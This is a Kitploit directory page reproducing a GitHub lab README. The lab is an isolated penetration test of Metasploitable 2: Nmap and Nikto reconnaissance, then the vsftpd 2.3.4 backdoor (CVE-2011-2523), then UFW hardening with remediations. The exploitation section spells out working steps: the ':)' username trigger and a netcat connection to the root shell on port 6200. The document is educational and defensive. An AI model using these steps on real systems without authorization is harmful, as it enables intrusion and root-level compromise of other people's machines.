Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
network-security-lab — Controlled virtual attack & defense lab — CVE-2011-2523 exploitation, Nmap recon, Nikto scanning, UFW hardening on Metasploitable 2 | Kitploit
Tools/GitHubGitHub/amirmuhammadmarvi/network-security-lab
ReconnaissanceVulnerability ScannersVulnerability AnalysisExploitationConfiguration AuditingWeb SecurityNetwork SecurityPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Labs & Practice
GitHubamirmuhammadmarvi/network-security-lab

network-security-lab

Controlled virtual attack & defense lab — CVE-2011-2523 exploitation, Nmap recon, Nikto scanning, UFW hardening on Metasploitable 2

View Repository
33 months agoNot yet reviewed

🔬 Network Security Lab

A controlled virtual environment simulating real-world attack and defense scenarios

Python Platform CVE Status


📋 Overview

This lab simulates a real-world penetration test and defensive hardening exercise in a fully isolated virtual environment. It demonstrates the full offensive security lifecycle — from reconnaissance to exploitation — and the defensive controls that would mitigate each risk.

Key outcome: Achieved full root access on the target machine in under 60 seconds by exploiting a known backdoor, with no credentials and no special tools.


🏗 Lab Environment

ComponentDetails
HypervisorVMware Workstation
NetworkHost-Only / NAT (fully isolated)
Attacker OSUbuntu 24 LTS
Target OSMetasploitable 2 (Linux 2.6.x)
Attacker IP192.168.148.255
Target IP192.168.148.130

🎯 Methodology

root@kitploit:~
Reconnaissance  →  Scanning  →  Exploitation  →  Defense & Hardening

🔍 Phase 1 — Reconnaissance

Port Scanning with Nmap

root@kitploit:~
sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

Key findings — 23 open ports total:

Web Scanning with Nikto

root@kitploit:~
nikto -h http://192.168.148.130 -o nikto_before.txt

18 vulnerabilities found, including:

  • phpMyAdmin exposed publicly
  • phpinfo.php leaking full server config
  • HTTP TRACE enabled (XST attacks)
  • Directory indexing enabled on /doc/, /test/
  • Outdated Apache 2.2.8 and PHP 5.2.4

💥 Phase 2 — Exploitation

CVE-2011-2523 — vsftpd 2.3.4 Backdoor

vsftpd 2.3.4 contains a backdoor introduced via a supply-chain compromise. Sending a username ending in :) causes the server to open a root shell on port 6200.

root@kitploit:~
# Step 1 — Trigger the backdoor via FTP
ftp 192.168.148.130
# Username: backdoor:)   Password: anything

# Step 2 — Connect to the spawned shell
nc 192.168.148.130 6200

# Step 3 — Verify access
whoami
# → root

Result: Full root-level system access achieved in < 60 seconds — no credentials, no exploit framework required.

Impact: An attacker with root access can read/modify/delete any file, install malware, exfiltrate data, or pivot to other hosts on the network.


🛡 Phase 3 — Defense & Hardening

UFW Firewall — Default Deny Policy

root@kitploit:~
sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSH only
sudo ufw status verbose

Recommended Remediations


📄 Full Report

See report.md for the complete assessment — full methodology, command outputs, findings table, exploitation steps, and all remediation recommendations.


⚠️ Legal Disclaimer

This lab was conducted in a fully isolated virtual environment using intentionally vulnerable software (Metasploitable 2). All techniques are for educational and portfolio purposes only. Do not replicate on systems you do not own or have explicit written permission to test.


🛠 Tools Used


Author: Amir Mohammad Marwi

Portfolio LinkedIn GitHub

Download Tool
PortServiceVersionRisk
21FTPvsftpd 2.3.4🔴 CRITICAL — Known backdoor (CVE-2011-2523)
22SSHOpenSSH 4.7p1🟡 MEDIUM — Outdated
23TelnetLinux telnetd🟠 HIGH — Plaintext protocol
80HTTPApache 2.2.8🟠 HIGH — Multiple CVEs
1524BindshellRoot shell🔴 CRITICAL — Open root shell
3306MySQL5.0.51a🟠 HIGH — Database exposed
5900VNCProtocol 3.3🟠 HIGH — Weak auth
6667IRCUnrealIRCd🔴 CRITICAL — Known backdoor
VulnerabilityFix
vsftpd 2.3.4 backdoorUpgrade to vsftpd 3.x or migrate to SFTP
Open root shell (port 1524)Immediately disable, audit installation
Telnet (port 23)Disable — enforce SSH only
phpMyAdmin exposedRestrict by IP, require strong auth
MySQL exposed (port 3306)Bind to localhost, block external access
VNC exposed (port 5900)Restrict by IP or disable
Directory indexingApache: Options -Indexes
HTTP TRACEApache: TraceEnable off
Outdated Apache + PHPUpgrade to supported LTS versions
ToolPurpose
NmapPort scanning and service detection
NiktoWeb vulnerability scanning
NetcatConnecting to backdoor shell
UFWHost-based firewall configuration
FTP clientTriggering the vsftpd backdoor
VMware WorkstationLab virtualization